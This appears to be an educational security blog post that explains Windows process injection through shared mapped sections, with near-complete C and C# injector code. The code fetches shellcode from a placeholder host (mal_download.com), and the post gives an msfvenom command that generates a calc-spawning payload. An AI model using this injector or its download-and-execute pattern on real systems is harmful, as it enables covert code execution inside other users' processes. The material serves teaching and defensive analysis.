Malware Series: Process Injection Mapped Sections
We're back with another post about common malware techniques. This time, we are talking about using shared memory sections to inject and execute code in a remote process. This method of process injection uses Windows Section Objects to create a memory region that can be shared between processes. In the process created by the attacker, a memory section is created with privileges to share with other processes. The shellcode is copied into this memory region, which is mirrored into all processes sharing the view of this memory section. The section is then mapped to the remote processes and a new thread is started in the remote processes to execute the code.
We will demonstrate this method in C and C#, like we have in previous posts.
How does it work?
The main goal of all injection methods is to execute code into the memory space of a remote process. This method uses the Windows API NtCreateSection function. The NtCreateSection will create a section of memory to share between processes. This memory doesn't live in the virtual memory region of the calling application but in the kernel. These memory spaces can be backed by files or pages (actual memory). When an application wants access to this memory area, it needs to create a view. The view is then mapped into the process's virtual memory using its memory management.
Depending on the way the memory is set up, the view can allow the process to read, write, or execute the memory view. This technique will create a Section Object (NtCreateSection) backed by memory and shared with other processes. Even though the malicious process created the Section Object, it will need to create a view in order to manipulate it. The view is created with the NtMapViewOfSection api call. The first view created will belong to the malicious process and only needs permissions to read and write to the Section Object, since we will not be executing the shellcode from this process.
After the local Section Object is mapped into the malicious process’s memory, we will then map the same Section Object into a remote target process's memory space using the same NtMapViewOfSection call.
It is worth noting that the address of the mapped sections will vary depending on the memory layout of each process, so don't expect the addresses to be the same. Instead of providing the handle to the malicious process, we will use OpenProcess Api to get a handle to a remote process. Note this process needs to be one that we have permission to access, i.e., a process owned by the same user.
The main difference between the local and remote mapped sections is that the remote section needs to have the read, write, and execute permissions. The write permission depends on the shellcode in use.
Metasploit-generated payloads include an obfuscation stub that overwrites itself and needs the write permission or it will crash. Now the hard part is complete, we need to copy the shellcode into the mapped section and execute it.
Moving the memory is as easy as using a memcpy to copy it from the local memory. Once the local processes copies the memory into the section, it is mirrored on the remote memory view. The local process then creates a new remote thread and instructs that thread to execute the view memory space.
Code Demonstration in C# and C++
The shellcode used in these examples was created using msfvenom -f raw -p windows/exec CMD=”c:\\windows\\system32\\calc.exe” -o spawn_calc.x64.sc. The shellcode was not packed or protected in any way.
The first code sample we will be reviewing is written in C. In this example, the program downloads the shellcode from a remote server and then writes it into the shared memory space. For the sake of brevity, we are not including the code for the getShellCode function.
106 int main( int argc, char* argv[] )
107 {
108 SIZE_T size = 4096;
109 LARGE_INTEGER sectionSize = { size };
110 HANDLE sectionHandle = NULL;
111 PVOID localSectionAddress = NULL;
112 PVOID remoteSectionAddress = NULL;
113 DWORD targetPID = 0;
114 int max = 0x2000;
115
116 if( argc != 2 )
117 {
118 printf("USAGE: %s <target PID>\n", argv[0] );
119 return -1;
120 }
121
122 char* buf = (char*)VirtualAlloc(NULL, max, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
123 int buf_sz = getShellCode("http://mal_download.com/spawn_calc.x64.sc", buf);
124 targetPID = atoi( argv[1] );
125
126 // create a memory section
127 NtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,
128 NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
129
130 // create a view of the memory section in the local process
131 NtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL,
132 NULL, &size, 2, NULL, PAGE_READWRITE);
133 printf("localSectionAddress (%p)\n", localSectionAddress);
134
135 // create a view of the memory section in the target process
136 HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
137 NtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL,
138 &size, 2, NULL, PAGE_EXECUTE_READWRITE);
139 printf("remoteSectionAddress (%p)\n", remoteSectionAddress);
Lines 106: Is the main function declaration
Lines 108 - 114: Set up the local variables
Lines 116 - 120: Check the program parameters to ensure the use entered a process ID of the target process to inject into
Lines 122 - 124: Allocate a local buffer and populate it with the shellcode retrieved from a remote server
Lines 126 - 128: Create a section of memory that is shareable between processes and has read, write, and execute permissions. The call to the NtCreateSection returns a Pointer to the section.
__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
[out] PHANDLE SectionHandle,
[in] ACCESS_MASK DesiredAccess,
[in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
[in, optional] PLARGE_INTEGER MaximumSize,
[in] ULONG SectionPageProtection,
[in] ULONG AllocationAttributes,
[in, optional] HANDLE FileHandle );
Lines 130 - 133: Creates a view into the shared memory using the API NtMapViewOfSection for the local process
The view is the only part of the Mapped Section that is visible to the program. The program will allocate a memory region for the shared memory independently of each other. As seen in Figure 2, the two (2) programs have the same data in two (2) different address spaces. Each process can also have multiple views to the same or different shared memory.
NTSYSAPI NTSTATUS ZwMapViewOfSection(
[in] HANDLE SectionHandle,
[in] HANDLE ProcessHandle,
[in, out] PVOID *BaseAddress,
[in] ULONG_PTR ZeroBits,
[in] SIZE_T CommitSize,
[in, out, optional] PLARGE_INTEGER SectionOffset,
[in, out] PSIZE_T ViewSize,
[in] SECTION_INHERIT InheritDisposition,
[in] ULONG AllocationType,
[in] ULONG Win32Protect );
Lines 135 - 136: Using the supplied Process ID to open a handle to the target process
Lines 137 - 139: Creates a view into the shared memory using the API NtMapViewOfSection for the remote process
The value supplied to the Win32Protect parameter of this second call to NtMapViewOfSection must contain the write bit, the PAGE_EXECUTE_READWRITE, for shellcode generated using msfvenom, which obfuscates its payloads using an XOR routine that overwrites its own memory. If the write option is not provided, then the code will crash.
140
141 // copy shellcode to the local view, which will get reflected in the target process's mapped view
142 memcpy(localSectionAddress, buf, size);
Line 142: Copies the downloaded shellcode into the view in the local process
This eliminates the need to try and write to a remote process. As shown in Figure 3, the changes to one (1) view are mirrored across all views.
143
144 HANDLE targetThreadHandle = NULL;
145 RtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL,
146 &targetThreadHandle, NULL);
147
148 VirtualFree( buf, NULL, NULL );
149 return 0;
150 }
Lines 144 - 146: Creates a thread in the remote process and provides the memory address of the view as the execution point
This will cause the remote program to execute the shellcode.
The next code excerpt is in C# and performs the same actions as the C code above. We are not going to walk through the C# code line by line this time—it’s almost a direct port of the C code. The C# code is wrapped in an unsafe tag, which allows us to use memory unsafe direct pointers. The main difference between the two (2) code samples is that we needed to define each of the API calls.
The following code is divided into groups to match those from the C section, with the exception of the first part, which is the defined API calls, and declares variables to make reading easier. The following definitions are obtained through pinvoke.net.
10 unsafe public class Blah
11 {
12 [DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]
13 static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, ref UInt32 MaximumSize, UInt32 SectionPageProtection
14
15 [DllImport("ntdll.dll", SetLastError = true)]
16 static extern uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, IntPtr CommitSize, out ulong SectionOff
17
18 [DllImport("kernel32.dll", SetLastError = true)]
19 public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
20
21 [DllImport("ntdll.dll", SetLastError=true)]
22 static extern IntPtr RtlCreateUserThread(IntPtr processHandle, IntPtr threadSecurity, bool createSuspended, Int32 stackZeroBits, IntPtr stackReserved, IntPtr stac
23
24 [DllImport("msvcrt.dll", EntryPoint = "memcpy", CallingConvention = CallingConvention.Cdecl, SetLastError = false)]
25 public static extern IntPtr memcpy(IntPtr dest, IntPtr src, uint count);
26
27 private static uint SECTION_MAP_WRITE = 0x0002;
28 private static uint SECTION_MAP_READ = 0x0004;
29 private static uint SECTION_MAP_EXECUTE = 0x0008;
30
31
32 private static uint PAGE_READWRITE = 0x04;
33 // private static uint PAGE_EXECUTE_READ = 0x20;
34 private static uint PAGE_EXECUTE_READWRITE = 0x40;
35 private static uint SEC_COMMIT = 0x8000000;
36
37 private static uint PROCESS_ALL_ACCESS = 0x1fffff;
The following section declares the local variables and obtains the shellcode from a remote server.
51 public static void Main(string[] args)
52 {
53 byte[] buf = new byte[10];
54 IntPtr sectionHandle = IntPtr.Zero;
55 int size = 4096;
56 ulong tmp = new ulong();
57 UInt32 sectionSize = (uint)size;
58 IntPtr localSectionAddress = IntPtr.Zero;
59 IntPtr remoteSectionAddress = IntPtr.Zero;
60
61 int buf_sz = getShellCode("http://mal_download.com/spawn_calc.x64.sc", ref buf);
62 Console.WriteLine("ShellCode of Size "+ buf_sz);
Check the command line parameters to ensure that it contains the PID of the target process. Next, create the shared memory section.
63
64 int targetPID = 0;
65 try
66 {
67 targetPID = int.Parse( args[0] );
68 } catch
69 {
70 Console.WriteLine("Invalid parameter use an integer for the PID");
71 System.Environment.Exit(1);
72 }
73 Console.WriteLine(targetPID);
74
75 // create a memory section
76 NtCreateSection(ref sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, IntPtr.Zero,
77 ref sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, IntPtr.Zero);
Next we create the local and remote views into the shared memory section. Figure 5 displays the sections from each memory space. Again, the memory address in each process will be different.
78
79 // create a view of the memory section in the local process
80 NtMapViewOfSection(sectionHandle, Process.GetCurrentProcess().Handle, ref localSectionAddress, IntPtr.Zero,
81 IntPtr.Zero, out tmp, out size, 2, 0, PAGE_READWRITE);
82 Console.WriteLine("localSectionAddress (0x{0:x})", localSectionAddress.ToInt64());
83
84 // create a view of the memory section in the target process
85 IntPtr targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, targetPID);
86 NtMapViewOfSection(sectionHandle, targetHandle, ref remoteSectionAddress, IntPtr.Zero, IntPtr.Zero, out tmp,
87 out size, 2, 0, PAGE_EXECUTE_READWRITE);
88 Console.WriteLine("remoteSectionAddress (0x{0:x})", remoteSectionAddress.ToInt64() );
89
Copy the shellcode from the buffer it was downloaded to the view. The addition of the fixed is required to allow for pointer manipulation of the byte array. Figure 6 shows the contents of the shellcode in both the local and remote views.
91
92 // copy shellcode to the local view, which will get reflected in the target process's mapped view
93 fixed( byte* p = buf )
94 {
95 IntPtr ptr = (IntPtr)p;
96 memcpy(localSectionAddress, ptr, (uint)size);
97 }
Finally, a remote thread is created in the target process instructing it to execute the shellcode in the view memory space. Figure 7 shows the results of the shellcode execution, and a calculator app is spawned.
98
101 IntPtr targetThreadHandle = IntPtr.Zero;
102 RtlCreateUserThread(targetHandle, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, remoteSectionAddress,
103 IntPtr.Zero, ref targetThreadHandle, IntPtr.Zero);
104 }
Reversing the Executables
In past blogs, we have used this section to show the decompilation of the compiled executable using Ghidra and DnSpy. These tools, along with IDA, Binary Ninja, Radare2 and others, are all so good at decompiling the executable back into C or C# language that we are not going to include it going forward.